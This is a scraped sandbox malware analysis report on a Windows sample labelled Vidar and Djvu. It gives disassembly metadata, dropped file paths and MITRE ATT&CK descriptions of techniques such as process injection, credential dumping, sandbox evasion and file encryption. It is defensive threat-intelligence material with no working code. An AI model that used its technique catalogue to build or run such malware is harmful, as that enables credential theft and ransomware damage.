Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AaIo4VGgvO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFCBFCBFBKEBFIDBKECAEBFCF

C:\ProgramData\CAAKFIID

C:\SystemID\PersonalID.txt

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Windows Analysis Report
AaIo4VGgvO.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre